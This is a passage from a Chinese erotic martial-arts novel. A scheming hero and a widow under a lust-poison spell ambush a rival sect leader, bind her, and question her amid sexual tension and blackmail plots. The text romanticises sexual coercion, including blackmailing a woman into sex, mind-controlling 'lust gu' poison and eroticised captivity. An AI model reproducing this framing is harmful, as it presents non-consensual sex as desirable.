早由得他去的辛婉怡倒还好,偶尔旁观他与邵雪芊云雨的解明嫣,可就只有咬着纤指发呆的分,心想着吴羽这淫贼也罢,邵雪芊平日道貌岸然,怎地狂纵起来如此妖冶?若换了自己在吴羽身下,只怕早泄得死去活来,不知哪儿凉快去了?

若非如此,以解明嫣的娇羞赧弱,怎可能这般调笑邵雪芊?本来便不算两女都是吴羽的床上淫俘,光只两女间肌肤相亲,亲密程度绝不在邵雪芊与吴羽间之下,邵雪芊便给她调笑几句,也只当日常笑语罢了。

偏偏现在姬梦盈就在旁边,即便知道自己与吴羽间的事瞒不过她,这女儿或许还偶尔在暗地里偷瞧自己的浪样,但这般光明正大的说了出来,她仍是颇受不住。

“好吧好吧,是我的错,小生在此道歉了。”见气氛已和,吴羽嘿嘿怪笑,虽说打躬作揖,貌似恭顺有礼,但眉梢眼角溢出的笑意,怎么看怎么觉得他在坏笑。听他连小生二字都跑出来了,辛婉怡不由莞尔,心想这人也真是,这等笑话也丢得出来。可旁边的邵雪芊却还没从满腹羞意中解脱,她躲进解明嫣怀抱里,软得像是站不住脚,掩脸再不肯瞧吴羽脸上的笑意,反倒还没有自己那摇头苦笑的女儿般释然,羞答答地只呻吟着,“讨厌……讨厌……你们都这样……笑雪芊……”

“是小生不对,小生赔礼了……若夫人还不满意,小生今夜也只有鞠躬尽瘁,看能不能侍候得夫人回心转意……”见邵雪芊娇羞无伦,那模样可爱到了极点,哪还有一点端庄温雅的名门夫人样儿?分明就是个娇稚未脱的小女孩。

吴羽看得食指大动,竟不管有人在旁,随着邵雪芊言语便调笑出来,还刻意走前几步,若非解明嫣避开,双手挥舞之间差点就要摸到邵雪芊身上去了。

见吴羽淫色上脸,邵雪芊羞人答答,解明嫣欲羞还喜,辛婉怡则一脸无可奈何的样儿,知道若非待会儿还要帮荣华大师接风洗尘,只怕吴羽就要抱邵雪芊进房大快朵颐一番,姬梦盈嘟长了嘴儿,好久才开了口,“哎,前辈……待会还有正事要做,可别可别太急色了”

虽说被女儿打乱了好事,心下难免有些不耐,但邵雪芊即便已被淫贼征服,体内淫蛊之威已难压抑,但总归是高贵夫人,又知荣华大师在盟内,便想极了和他上床,也得小心一些。

她轻咬银牙,点了点头,好不容易才从解明嫣怀中站直。“嗯,梦盈说的是……那个……荣华大师既在盟内,我……我想……短时间内我们还是……还是小心一点,千万别落人口舌……至少……至少别在盟里搞这等事,你说好不好?那个……等到以后风头缓了……雪芊再补偿你……到时候……随你怎样都好……”

没想到自己虽打断了母亲与吴羽的好事,却换得邵雪芊如此深情款款的言语,娇羞依顺得活像只想偎进吴羽怀里,任他轻怜蜜爱一番,姬梦盈看得一肚子火,却又发作不得,好不容易想到了正事,“关于……关于前辈上次那个计划……在荣华大师莅临之前,嫂子才跟我说过,那女人已约了她见面,就在明晚,嫂子想问你该怎么处理,要不要她也到场?”

“这……倒是不用了……”吴羽摇了摇头。说到正事,从淫贼到智者的切换快得犹若利刃斩分一般,可不像邵雪芊到现在还羞答答的醒不转来。

只是杨柔依这约可真不是时候,若那计划给荣华大师知道一点风声,也不知会否影响他在此的心境?现在分裂黑道联盟的计划未成,短时间内可离不开少林派的掩护,偏偏机会可一不可再,错过此次也不知是否再有良机?

吴羽一咬牙,“计划照常进行,至于大师那边……暂时先停下来,等我们擒到那人之后,解夫人再去向大师讨教……”

“或是……两边同时进行如何?”轻嘟樱唇,姬梦盈虽也知道自己的意见与其说是拾遗补阙,不如说是换种形式的吃醋,但她却不想改,“只要解姨小心一点,正好可以掩护娘与前辈出去办事……到时候两边同时有成,岂不美哉?否则前辈哪能从大师眼皮子底下偷熘出去?”

“这……让我想想……”虽知姬梦盈心有他意,但她的意见却也有理,吴羽不得不考虑起来。

【第十卷】第二章:生死难明

站到高处望向亭中,远远的看不清面目,但以她的锐目,仍可见那垂首的身影微微发颤。虽仍是一身锦绣,但配上那楚楚可怜的模样,未显华丽反而更形凄清柔弱,那模样看得她不由摇头,心中竟不由浮起了一丝对自己的恨意,没想到自己竟沦落到欺负同为女儿家的地步。

但那愧意却是一现即隐,她的外表虽仍绮年玉貌,褪去华裳高髻,看来并不比远处亭中的杨柔依大上多少,却是因功力深厚而驻颜有术。真要说到年龄,要当杨柔依的母亲都嫌老了几岁,尤其身为女子,江湖打滚几十年,经历的风霜比寻常江湖人尤甚,霓裳子的心早被磨得硬了。

如果不是身为女子天性的敏感多思,心比男人多几倍孔窍,只怕连那丝怯意都不会有哩!

虽说欺负同为弱质女流之人,大违霓裳子性格,但此事却是不得不为。即使武功高明,就算不在黑道联盟中,霓裳子的武功在江湖上也能占一席之地,但锦裳门俱是女子,除了少数如她一般的高手外,其余门众的武功都不怎么样,即便霓裳子最恨弱质女流这形容词,可门下武功高手不若旁的门派之多,实力不若旁的帮会之强,却也是铁一般的事实!

不为旁的,光为了给自己门人留一分生存余地,不致受人欺凌,霓裳子也不得不为许多逆心之事,苦楚实不足为外人道。

经历风霜许久,霓裳子早磨尽了刚出江湖时的凌云壮志,此刻的她不想再跟世间男子一争短长,之所以加入黑道联盟、之所以对杨柔依动手、之所以做这些她并不喜欢的事,所作所为与其说为了争霸天下、称雄武林,还不如说是为了给自己的门派争一点生存境地。

身为女子,在江湖打滚本就比旁人艰辛,何况她自己的恶名又早已在外,虽说霓裳子自己毫不在乎,却不能不为自己的门人想一想。换了旁的门派,若不愿再搞下去,或许还能置身事外不问红尘,自寻生存之道。

锦裳门却是不进反退,若不能力争上游,就只有任其沈沦,她自己或可全身而退,但黑道联盟这些人必然动手,想到门下弱女落入这些虎狼手中的惨况,霓裳子便知自己已没有退路,与其退而待死,不若前进强求一线生机,纵然渺茫,也比等死好上太多。

霓裳子摇了摇头,将这些心思排出脑海,眼神放在亭中的杨柔依身上,她现在要想的万万不是这些无聊事,而是完成眼下的目标。

先前当传出了栖兰、明石山庄先后灭门的消息,旁的黑道门派或许拍掌称快,但身在黑道联盟中的她与商月玄,将此事与曹焉力主进击君山派的事件联想起来,却敏感地发觉了危机:若非早知栖兰山庄将要生事,黑道联盟虽势强,却也不敢恣意妄为。毕竟君山派的长徒姬平意便是栖兰山庄的少主,有这层关系在,对君山派动手,极有可能将威天盟也扯进来,但曹焉却似根本不认为需要在意这等事。至于一戒僧则是自立独行惯了,想做就做,以他的心思怕也想不到这么多。

君山派一役虽说黑道联盟败了,但对霓裳子来说,结果却不一定是坏事,毕竟锦裳门丢的只是面子,还有旁的门派一起分担,十二连环坞却是势力大挫:曹焉身死、精锐覆灭,夏侯征虽继任坞主,实力声望却万万不能与之前相提并论,一直压在头上的乌云等于散了一半。她虽没过分到放鞭炮庆祝,该有的礼数奠仪也没少,心下却没有一点哀凄,想必旁人也是一样。

但没想到威天盟里的争战,竟是如此后果!当听说全极中被杀时,她虽觉其中有阴谋,却也为了威天盟的内争暗自称快,未料风云变幻,石渐竟是阴谋家,最后连同刘濠一起败北,连自己的命也送在马轩手上了!

虽因此知道向来隐伏低调的马轩不好惹,更知新生的威天盟亦不可小觑,但此事终在威天盟里发生,纵然姬平意、吴羽有通天之能,要重整威天盟也不是一天两天的事。即便霓裳子知道不能不小心,却没想到威天盟的这把火,竟这么快就烧到了自己身上来!

原知为了稳固自己势力,夏侯征必有所为,毕竟本非领头的门派便争不到首位,也只是继续等待机会而已,但原已是首位的门派却是压力沉重,一旦失了首座位子,变成与其他门派平起平坐,心中的失落极难排解,与旁的门派大为不同。没想到夏侯征竟开门揖盗,把影剑门的势力给引了进来,在大会上听说夏侯征举马轩为首时,她与商月玄都措手不及,只能任此事成员。

更没想到的是,为了巩固权位,马轩竟下如此辣手!当听说商月玄与一戒僧身亡,由叶谦与四玄分别继任之时,霓裳子便知其中不对:玄袈教在一戒僧之下便以四玄为尊,由他继承理所当然,但污衣帮内叶谦的位子排得可后头了,即便排掉几个与商月玄一同“意外”身亡的高手,若无外力介力,叶谦也休想继任。

偏偏她向与商月玄相善,彼此在对方门下都未安排得有人,事变突生,事前全无准备之下,她便想要介入干涉也来不及,竟只能眼睁睁看着这出乎意料之事!

商月玄与一戒僧既逝,夏侯征又与马轩同流合污,黑道联盟中能与马轩抗衡者已是无人。云天七宗势力不强,锦裳门更瞠乎其后,即便她与晏驾幽合作,也难与马轩和夏侯征的势力比肩,若非知晓若再以“意外身亡”的理由除去她或晏驾幽,一来绝瞒不了人,二来高手损折之下,黑道联盟的势力也将大衰,恐怕难以应付接下来的威天盟之战,否则只怕马轩早要下手。

即便如此,若等到马轩解决了威天盟,到时候威望既立,影剑门又属精锐,只要在激战中想办法削弱云天七宗和锦裳门的势力,马轩在黑道联盟内位置更稳,锦裳门和云天七宗再想立足也难,迫不得已,锦裳子只好动用杨柔依这步伏棋。

原本她对杨柔依动手,只是为了在威天盟里伏下棋子,观察其中势力消长,没想到状况却来得这般快。眼下若不利用杨柔依知晓威天盟的虚实,好让马轩去跟威天盟硬碰个头破血流,只怕威天盟亡后,接下来就轮到锦裳门和云天七宗。

不过情势的变化却让霓裳子也不得不承认,威天盟内确有能人,能想到利用翔风堡之变,将少林寺拖下水来。即便马轩及时处理危机,表明不支持叶谦的妄动,迫得叶谦孤立无援之下,不得不放下面子,亲上少林请罪,免了黑道联盟与少林寺的冲突。威天盟却仍以研习佛法为由,从少林寺里弄了个和尚过来长驻,迫得马轩也不敢随意动作,这招可真来得绝!

只是现下情势外弛内张,即便有少林寺的高手坐镇,马轩亡威天盟之心仍不息,毕竟他也知道要除外患先弭内乱之理。对威天盟而言,最重要的敌人就是叛离的他,即便威天盟实力再弱,也绝不会放过马轩和影剑门,是以他做好准备,只要情势有变,立时便兵发威天盟。

心下虽急,但霓裳子的江湖经验也不是白来的,她虽没想到杨柔依来得这般早,让比约定时间早了半刻的她仍落了后,还是小心翼翼地先巡过四周,确认这小亭旁几个制高点上并无敌人埋伏,在外围处也没有敌人隐伏的痕迹,除小亭内再无可能有埋伏后,才敢现身。

也不是霓裳子太过小心,江湖行走不小心点,早不知死了几千几百次,何况杨柔依不是凡俗女子,她好歹也是姬平意的夫人,就算自己用以要胁她的事太过私密,杨柔依万万不敢泄露予姬平意,但要伏下几个人对付自己,想必杨柔依若心一横仍可做到。

如果换了旁的人,或许霓裳子还不用这般戒备,人性趋利避害,只要稍晓计算之人,就知道现在只能与自己虚与委蛇。但女人心海底针,本就千变万化,加上杨柔依在威天盟里的日子怕也过得不好,备受挤兑之下,压力极重的她不能以常情论之,同为女子,霓裳子万万不敢掉以轻心。

幸好外头无人埋伏,显然杨柔依并无翻脸的准备,即便在亭中说僵了想动手,杨柔依也得估算自己逃脱的后果,即便亭中伏得有人,但以自己的武功,若打不赢想逃,总还是逃得了的。

走的愈近亭中,见亭中人坐在椅上微佝着身子,纤手抚面,娇躯颤抖之间,也不知是否在哭泣。虽仍保着耳目清明免得中了暗算,霓裳子心下仍是愈怜,毕竟杨柔依与自己有那般亲密的关系,若非此事关系锦裳门存亡,她也真不愿对与自己有亲密关系的女人这般软硬兼施。女人是该用来怜惜,而不是用来胁迫的,若换了是有过关系的男人,她大概就不会这般想了吧?

只是走着走着,看着亭子愈来愈近,亭中那抚脸颤抖的女子也愈近眼帘,仅是隔着桌子看不清身形,霓裳子心中却有一丝不好的预感,好像有什么就要发生,压抑着她的脚步快不起来。

放慢步伐,霓裳子注意四周动静,却不见丝毫问题,可心中那预感却愈来愈强烈,迫得她终于停下脚步,立在亭前,只见亭中女子娇躯一震,似已发觉了自己的动静,娇躯抖得愈发厉害,却始终不肯�头望她,那模样便一如以往自己约她见面之时,令霓裳子芳心微颤。若杨柔依还是一如以往的不肯屈服,说不定自己就得当真动手,毕竟时不我待啊!

想到待会儿自己将不肯屈服的杨柔依搂在怀中,在这亭子里大展手段,以她熟极而流畅的挑逗手法,迫得这新婚少妇神魂颠倒间不能自拔,被自己全盘征服,由得自己为所欲为的模样,霓裳子心中竟有一丝异样的兴奋。

这般事以往虽是少不了,她与杨柔依的第一次结缘几乎也是一般情景,但这等光天化日之下挑逗正道侠女,在她们欲拒还迎之中把她们诱成与自己一模一样淫乱妇人的行径,想想就令人心花怒放,也不知嫁了姬平意的她,是更敏感?还是已有抗力了呢?

虽说心头那预感愈来愈强烈,换了以往的霓裳子,只怕早已拔腿飞奔,毕竟吉凶未来先有兆,江湖人刀头舔血的日子过得多了,愈发信任这种无可名状的预感,便是连自己都觉得小心过头,也比不上把命留着的重要,但这回状况不同,若不能快些令杨柔依屈服,取得威天盟的虚实情报,将来战事一起,自己未必有时间来探她,这回霓裳子绝不能失败,更没有退路可行。

身形微动,丝履轻移亭中,见眼前那女子娇躯一震,虽仍纤手抚脸,娇躯却已微微伸展开来,她才稍稍坐直身子,霓裳子已陡地发现不对在何处!

本来杨柔依虽得杨梃真传,剑法在武林中已算得不弱,但终究限于年岁,内力修为与自己绝难相提并论。以自己的轻功修为,即便杨柔依早知自己要来,凝力耳目搜寻,要找到自己也不容易,可方才几乎是自己才在远远的路边出现,她已低头抚脸,显然在那时便已发觉自己到来!

何况方才亭中人低头抚脸,又坐在桌后,便以霓裳子锐目也看不清此女身形。

此刻离得近了,亭中人又伸展娇躯,身形已入眼中,便不说她小心翼翼的目光,光只是她与杨柔依之间曾有的关系,也看出此女与当日和自己共赴巫山的杨柔依大有不同,但说也奇怪,霓裳子竟觉此女身形也有熟悉之感,却又有些似是而非,那念头纠缠心中,不由令霓裳子心思有些迟缓。

只是霓裳子数十年修为、数十年经验终非易与,身体的本能反应还在知觉之上,心中仍在搜索眼前此女的身形痕迹,身体已迅捷无伦地后退,一双流云水袖飞拂而出,左袖如引风雷,抵向亭中人身前,右袖则似翩舞水云,向身后洒然击去。

虽遇异变,动作间却毫无阻滞之态,直若飘舞惊鸿,甚至连面上神情都没变化,仍是一般圣洁秀丽,带着一丝浅笑,美得犹若天上仙姬下凡。若非知她根底之人,怕只会惊艳于其舞姿之美,全然想像不到竟是妖冶淫荡之名在外的她。

但霓裳子动作虽快,亭中人早有准备,动作却只有更快,娇躯一直、皓腕一翻,不知从何而来的长剑已直刺而出,亭中女子身形修长,这一剑直抵霓裳子眼前,即便以霓裳子的眼力,仍只见一点剑尖直透,甚至未见剑嵴,可见来人执剑之稳,轨迹之直、出手之快,无不是第一流高手风度,长剑未至,剑上寒芒已似破空而入,直透霓裳子眉心,迫得霓裳子差点喘不过气来。

虽被剑芒迫得眼前迷茫,难见亭中人面目,只能靠本能水袖飞舞,抵消扑面而来的剑气,但杨柔依能依靠的女中巾_屈指可数,威天盟的女性高手也没几个。夫碧瑶的剑法尚未出师,解明嫣不以剑闻名,其余人等更不足论,祝语涵的剑法怕也没这般高明,光看眼前这一剑霓裳子便知,亭中这女子若非当日君山派一役,迫得自己几乎狼狈的“冷月仙姑”邵雪芊,还会有谁?

只是霓裳子知道得嫌迟了,若论武功,邵雪芊与自己算是伯仲之间,现下给邵雪芊占了先机,这一剑来得剑气纵横,只怕对邵雪芊来说也是得意之作,便自己全力以赴,要接下这一剑也不容易,偏偏自己却处退势,给这一剑硬迫而来,无论要挡要避,可都不容易呢!

心知自己向前阻敌的三分力道,万万挡不住邵雪芊这蓄势已久的一剑,本来将七分力道放在拂后右袖上头的霓裳子一咬牙,不得不将一半力道收了回来,运到卷向邵雪芊长剑的水袖上头,毕竟向身后拂去的一袖虽是用了大半力气,却是为了避免敌人可能从后而来的偷袭。

若是前头无事,她正好趁这一拂之力向后疾退,脱出剑招范围,在亭中人变招之前便即逃之夭夭,任亭中之人武功再高,终究耗了大力在这一剑上头,纵使及时换劲施展轻功,要追上霓裳子也是难上加难。

偏偏邵雪芊这一剑威力太强,简直像是要杀人灭口一般,趁着娇躯立起前扑之势,这一击浑然天成,一身功力都集中在剑尖,丝毫没有外溢浪费,威力集中一点,令她欲逃不能、欲避难从。

若当真全力一退,怕是这一剑的劲气就足以令自己内伤呕血,到时候更难逃离邵雪芊的追杀。即使她心知若运力一挡,只要邵雪芊另外伏有旁人,自己想逃便难如登天,她还是不得不硬挡此招。

水袖缠上长剑,镇定如霓裳子也不由变色,邵雪芊竟似早知自己的打算,长袖才刚缠上长剑,那迫人的剑气已收得干干净净,皓腕转动之间,长剑竟搅住了霓裳子水袖不放。

主修流云水袖,霓裳子的武林路走了几十年,用什么神兵利器的高手没有见过?为免对上强敌时水袖难抵神兵之威,她这身衣裳可是特意制作的,表面上秀雅飘逸,白裳紫绣间雅致端丽的犹若天仙,实际上却是与她的天罗丝出于同源。

即便是削铁如泥的利器,要断霓裳子这水袖也得耗上一番功夫,先前也已不知有多少高手在这双水袖下败北。除了前次君山派之役外,能迫得她连天罗丝一起用上的场面也少之又少,前次若非霓裳子主动罢战,再战下去也不知胜负如何。

只是万事有利也有弊,霓裳子这双水袖战过了多少剑中高手,向来没被削断过,却从没想到水袖难断却也有难断的坏处,邵雪芊长剑一搅,非但没断了霓裳子水袖,反而像用木棒搅棉花糖一般,愈缠愈搅愈紧,尤其邵雪芊早有准备,长剑一搅之时,力道已变刺为缠,硬生生地将霓裳子的身形给吸了回来,若非霓裳子先前已变力前抵,只怕劲气运转一乱,内伤想不受都不行。

虽没有受伤,但急退的身形却也被拉了回来,霓裳子心知不妙,若是两边比拼内力,虽说邵雪芊所受系玄门正宗内功,但自己采补了数也数不清的高手,阴阳相济之下,光论内力绝不输予她,但这等事邵雪芊岂会不知?

除非她真有把握能在内力一道胜过自己,否则搞成硬拼内力的局面,必是在旁伏有帮手,到时候在两边内力相拼正紧之时动手,自己被擒或被杀,端看邵雪芊如何选择!只是知道归知道,邵雪芊内力源源而来,不运功抵挡却是不成,也只能运功硬抗。

这回自己孤身而来,也算是太托大了。霓裳子心中懊悔之念才起,已觉背心一麻,几处穴道已被制住,手上功力一散。若非邵雪芊及时收住劲道,只怕内劲冲击之下,自己早要呕出血来。

虽知邵雪芊这一次势在必得,即便已备下了种种手段诱自己入彀,可两人功力相当,为免自己逃脱,邵雪芊必备得高手在侧,但在来此之前霓裳子已登高望远,确认周围数里之内并无邵雪芊的埋伏,入亭之前更是小心谨慎,丝毫没少了耳目注意。

本以为便有埋伏,也该在外围,全没想到变起肘腋,从自己入亭至被暗算不足几下唿吸之间,这暗算自己之人来得无声无息,究竟是谁?究竟伏在何处?霓裳子勉力止住乱成一团的唿吸,心思电转,努力思考着逃脱之法。

见霓裳子已然受制,邵雪芊缓缓调整唿吸,一边伸手入霓裳子怀中搜索一番后,取出了前次君山派一战,差点令她饮恨的天罗丝,紧紧缚住霓裳子手足,只觉这女子怀中温暖,无论丝索衣料,甚至肌肤都柔软纤细,抚触之间格外有种令人爱不忍释的腻滑,心中一边暗啐自己弄了解明嫣上床,连心思都变得怪里怪气,一边却不由多摸了几把,弄得霓裳子不由格格不禁。

“哼。”把霓裳子缚得够紧,又多制了她几处穴道,确定这淫妇绝没办法靠自己的手段挣脱,邵雪芊伸袖一拭汗水。方才那一击她使出全力,才能迫得霓裳子无可逃脱,让暗伏在旁的吴羽能够一击成功,否则两人武功虽高,要擒这妖冶多智、江湖经验丰富的淫妇却也不容易。

只是邵雪芊也没有想到,即便已然受缚、也知道自己要杀人灭口,这霓裳子神情竟与平常一般无二,仍是冰冷圣洁之中透着一丝令人心动的妩媚诱惑,尤其此刻她手足被缚,却仍挺直娇躯,白裳里那傲人的峰峦曲线一丝都没有掩藏,冰冷外表下竟有一种惹人怜爱的柔弱,自己身为女子,竟也有种不忍对她太过火,却又想拉她上床大逞手足之欲的冲动。换了吴羽单人在此,怕早要毫不顾忌地在这亭里把霓裳子就地正法,看看是她的淫功厉害,还是他的淫蛊了得。

见邵雪芊冷冷地向自己身后一瞪,显是警告自己身后之人别动歪脑筋,霓裳子芳心一舒,原本紧绷的心思竟松弛了几分。看这模样,自己身后之人虽说不言不动,却显是男子无疑。

若只有邵雪芊在此,又或自己身后也是女子,说不定霓裳子当真难脱生天,毕竟对这些武林侠女、高贵夫人而言,最看不起的就是自己这等以色事人的淫娃荡妇,除非是那种男女兼收的奇特女子,否则逮到自己哪还不杀之而后快?即使自己神情容姿再能诱惑也是白搭。

但若邵雪芊那助力之人是个男子,以此事之私隐,想必邵雪芊也难找旁人出手,此人与邵雪芊间怕也不是单纯的上司下属,只要邵雪芊还得给此人几分面子,以自己的诱惑力,若能令此人心动,一时间不动杀手,自己便还有机会逃脱。

霓裳子一边调匀唿吸,一边轻轻娇喘,方才紧急之间来不及滴落的香汗渐渐渗出,强自坚强的外表下透出一丝柔弱,格外令人心痒难搔。

见此女到这等地步还在摆弄娇媚,邵雪芊不由恨恨地啐了一口,好想一巴掌就这么打下去,即便不打掉霓裳子几颗牙齿,也要打散她云髻高缠、端庄矜贵的外貌,若能把她唇角那丝柔媚诱惑的笑意打掉那就更好了。

偏偏方才接触之间,霓裳子衣裳肌肤那嫩滑柔软的触感,竟令邵雪芊也有一丝心动。她轻咬银牙,抑住心头那丝异感,心想若非为了姬平意的大业,这等淫妇真是刚抓了就该杀掉,看她现在这我见犹怜的模样,显然还存逃走之心,一个不小心怕就会前功尽弃。

“求求你了,姬夫人,别绑得这么紧……”邵雪芊面上的神情变换全在霓裳子眼中,那一闪而逝的挣扎神色,绝不会是因为邵雪芊看上了自己,那异样的神态,怕是为了自己身后之人。

虽说来人不言不动,刻意摆出一副高深莫测的模样,霓裳子也知来人是为了保持神秘,迫得自己在弄不清来人身份武功之前不敢妄动,这等心理压力的施加手法,霓裳子久历江湖自然知道,加上那人出手间无声无息,那神秘的感觉着实令人心下郁郁,压力没来由地袭上身来。

但只要对像是男人,霓裳子便从来没怕过。她刻意放柔了声音,方才动作间微散的发丝轻衔口中,柔弱无力又强自撑持的模样,配上她端庄娇贵如仙子的装扮,诱人到只要是男人就不会放过她。

“绑你这种女人,自然是有多紧绑多紧。”故示不屑地偏过头去,邵雪芊心下暗叫好险。这女人的诱惑还真是男女通吃,即便自己讨厌这等淫妇,却不得不承认,光在这唿吸可闻的近处待得久了,自己体内竟有一种冲动蠢蠢欲动,恐怕……连自己也被体内那淫蛊带坏了!

虽知若非吴羽相助,光靠自己一人绝无法留霓裳子在此,但眼见霓裳子即便遭擒仍在发浪,高贵如仙的装扮、冷艳高洁的气质、楚楚可怜的模样,令自己厌恶之间竟不由也有一丝心动,连身为女人都还如此,在她身后的吴羽只怕更是不济。

虽说现下吴羽不言不动,摆明了全让自己处理,但看他望向霓裳子的目光,想到他打算用来对付霓裳子的手段,便知这淫贼十有八九也动心了。此刻的邵雪芊可真希望,吴羽最好离远一点,别在这儿色眯眯的,自己偏又不好阻止。

偏偏霓裳子那模样连自己都心动,否则她大可把这火气全泄在这淫妇身上,不像现在这般还得别过头去,生怕被霓裳子看穿自己那不可告人的心思,好勉强才能让声音不至于暴露出她心下的张惶。“我警告你,若你霓裳子还在这发骚发浪勾引男人,看我不先一剑杀了你再说!”

话才出口邵雪芊便知不妙,偷偷望向霓裳子的眼光,果不其然地发觉,这淫妇虽仍是一脸的楚楚可怜,仿佛自己真缚她缚得太紧,绑得她经受不住,可眼中却有一闪而逝的得意,显然自己那句话表面强硬,却已被她看出了外强中干。

这女人还真不愧是江湖打滚已久的老练角色,即便受缚仍想与自己斗智,若不是有吴羽在此,光靠自己只怕就算擒了她,也难以令她乖乖就范。

“求……求求你别这样,呜……”似被缚得甚是疼痛,霓裳子轻咬银牙,讨饶的声音虽还强撑着,可泪眼汪汪间,那盈盈美目含泪欲流,邵雪芊不由按剑,手心却微微发颤,那柄长剑竟变成千斤之重,怎么也拔不出来,只听得霓裳子俏语轻柔,“奴家知道这回是……是死定了,只是……女人何苦为难女人?何况……何况奴家都给你制住穴道了,想逃也逃不了,这样绑着……哎,奴家手上好痛……哎,好像连痕迹都出来了,求求你……稍稍放松一点,一点点就好,好不好?求求你嘛……”

“死不了人的,你闭嘴!”听她那绵软柔媚的声音,看她盈盈欲泪的可怜样儿,邵雪芊愈看愈火,怒火蒸腾间却觉股间一种难受滋味,她不由自主地避开了霓裳子的目光,转到她身后去。

不看还可,这一看邵雪芊只觉唿吸都急促了几分,那天罗丝触感柔滑,但也不知道是自己真的下手太重,还是霓裳子玉手挣扎之间当真伤到了?那皓白如玉的腕上,若隐若现的真有几丝红痕,配上那莹白如玉,跟白裳相比也不知哪个更白一些的肌肤,格外令人觉得被缚的女子柔弱可怜。

她嗔怪地望了一眼吴羽,却见吴羽一脸无辜的回望着她,双手一摊,表情仿佛说着“擒人是你、缚人也是你,怎么现在怪到我头上来?”却是一句话都没有说。

“哼……”霓裳子那故示柔弱的模样看不得,吴羽那假作无辜的模样更入不得眼,气得邵雪芊兜兜转转,又回到了霓裳子正面。她面色绯红,像是比落败被缚的霓裳子更为紧张激动,看得霓裳子不由惊疑。

自己身后的男子与邵雪芊私谊再厚,总不会是姬园复生吧!就算是姬平意亲至,身为母亲看他对自己贪婪打量,最多也只是气他不长进,何以邵雪芊激动之间,竟有几分醋意?

心思一转,霓裳子刻意打量邵雪芊的神情,有心观察之下,终于被她看到了不对之处。

照说邵雪芊守寡已久,即便栖兰山庄锦衣玉食,邵雪芊又端庄沈稳,没有男人陪伴的寂寞孤独总会浮现在气色上头,男人的滋润可不是饮食药物的丰富可以取代,何况栖兰山庄已灭,威天盟内接连变故,重重压力挤上身来,即便邵雪芊再注重养生,终究会受到影响。

但现在邵雪芊激动之间,却仍难掩肌肤间那丰润的丽色,甚至眉宇之间还有一丝动人春色浮现,换了旁人或许还察觉不到,只以为邵雪芊擒得自己,高兴之下气色丰美,但霓裳子自己便是久经男女之事的妇人,锦裳门下个个都是熟稔男女之道的女子,近日内有没有被男人宠幸过这等事她看也看得熟了,邵雪芊神情间的变化她若看不出来,也真枉为锦裳门掌门。

原本无心间还未看出,但现在仔细看看,邵雪芊眉宇之间春色盎然,气色丰丽,即便有着“冷月仙姑”的冰艳外貌遮掩,仍觉丰润可人。别说守节已久的寡妇不会有这等气色,便是少些丈夫宠爱的女子也不会有。守节三年?若邵雪芊三日之内没被男人疼过,打死霓裳子都不信。

没想到邵雪芊端庄高贵,冷艳的将男人拒于千里之外,冷得真如明月高悬,不似降临人间,私底下却与自己一个模样。那种丰丽艳色,绝不是床笫之间被动的任男人为所欲为能有。说不定邵雪芊表面高贵的不食人间烟火,床笫之间的媚惑却不输自己霓裳子心下愈发觉得好笑,她也知男人的习性,愈是高贵、愈难到手的女人,愈能惹得男人心痒痒,是以她向来神态如此,无言之间也能诱得男人心痒难搔,一旦能得到她,床笫间必是鞠躬尽瘁,丝毫不肯保留。

可她万万没想到,“冷月仙姑”邵雪芊竟也是此道中人,尤其邵雪芊身份高贵,冷傲冰艳的外表,比之自己故示圣洁,诱惑力更为强烈。若非忌于威天盟之威,加上邵雪芊本身也是高手,只怕想打她主意的人不会比自己更少,也真不知自己身后究竟何人,能令邵雪芊在床笫间彻底投降,想必当他弄邵雪芊上床之时,那种精神上的征服快感,怕是比肉欲的满足更为强烈。

心下暗自算计,霓裳子嘴上仍不住讨饶,呻吟之间娇躯轻扭,身上香汗微泛,似有若无的女体香气渐渐涌出,渐晚的亭中竟似暖了起来,尤其霓裳子刻意调整唿吸,随着言语出口,饱挺的美峰在衣内微微颤抖,只要将心思放在她身上,绝不会错过那隐隐间的诱人姿态。

“求求你,姬夫人……奴家的手……哎……好疼……嗯……该是……哎……该是都红了……求求你,稍稍……稍稍松一点就行……无论姬夫人想知道什么,奴家都乖乖招供,绝没有半分隐瞒,好不好?奴家求求你了……呜……”

“你……”虽被霓裳子到现在还在媚惑引诱而气火,但邵雪芊却不得不承认,这女子久立江湖确实非是泛泛,竟从对她只擒而不杀,猜到自己有话要问,还刻意装作可怜。

想必她也猜到身后那不出声的人是男子无疑,打算用女人天生的软弱来引诱他,说不定……连自己也想引诱呢!芳心激跳之间,邵雪芊暗自警告自己,这女子非是普通淫娃,若不小心,煮熟的鸭子怕会飞了呢!

“既是如此,在下便问了……”听到身后的男人声音,霓裳子与邵雪芊一喜一怒。邵雪芊怒的是这人竟主动向这淫妇搭话,霓裳子喜的却是身后之人开口,那苦心营造出来的高深莫测之势便已打破。自己一边乖乖答话,一边还可筹谋脱身之方,至于这回答的真假嘛……就看情形而定了。

“在下倒不想问些什么问题,只想请道长传个话,约见个人,如何?”似没看到邵雪芊将要喷火的眼神,吴羽刻意凑到了霓裳子耳边,说话时的热气挑逗地熏着霓裳子的耳朵,熏得她小耳皆红,那亲匿样儿令邵雪芊差点没爆发出来。

虽早知吴羽擒下此女必有其用意,若能掌握霓裳子,在黑道联盟里埋下分裂的伏笔,对自己儿子的事业比什么都有用,但看吴羽这样,仿佛擒下此女只为淫欲之欢,教邵雪芊如何不怒?纤手颤抖已极,差点没法好好地将长剑拔出来。

听出身后那人便是当日败商月玄的吴羽,被他火热的气息熏着耳朵,霓裳子似忍受不住地娇躯微颤,连唿吸都重了几分,心下却是大喜过望。

这等情况以往她也曾试过,知道对男人而言,像自己这般气质高贵圣洁、容姿完美无瑕的女子,一旦抵受不住被擒的刺激而娇声讨饶,得意忘形之下往往就只记得把自己弄上床大快朵颐,其余的什么都忘了。

身后这人想来也必如此,那火热的刺激不由令她芳心大悦,虽轻扭着似是不依,娇声轻喘间身子却不住向男人身上挨去。

尤其身畔邵雪芊那似欲喷火,长剑已然上手的反应,更令霓裳子大有得知秘密的快感。杨柔依落在自己手上的把柄还是自己苦心营造,赌的是身处嫌疑之下,这般羞耻之事杨柔依不敢透露,否则女女相交虽是异事,却也不真的坏了女人名节。

可看邵雪芊这醋意大起的反应,现在落在自己手里的,却是身后吴羽和邵雪芊的奸情,只要自己能脱生天,这等把柄足以令自己暗地里控制威天盟,令锦裳门左右逢源,岂不美哉?

若换了晏驾幽甚至叶谦晓得这秘密,想的多半都是暗算马轩,统合威天盟与黑道联盟势力,别说雄霸一方,恐怕连击溃少林派等正道势力,成为江湖上说一不二的武林盟主都未必是梦想。

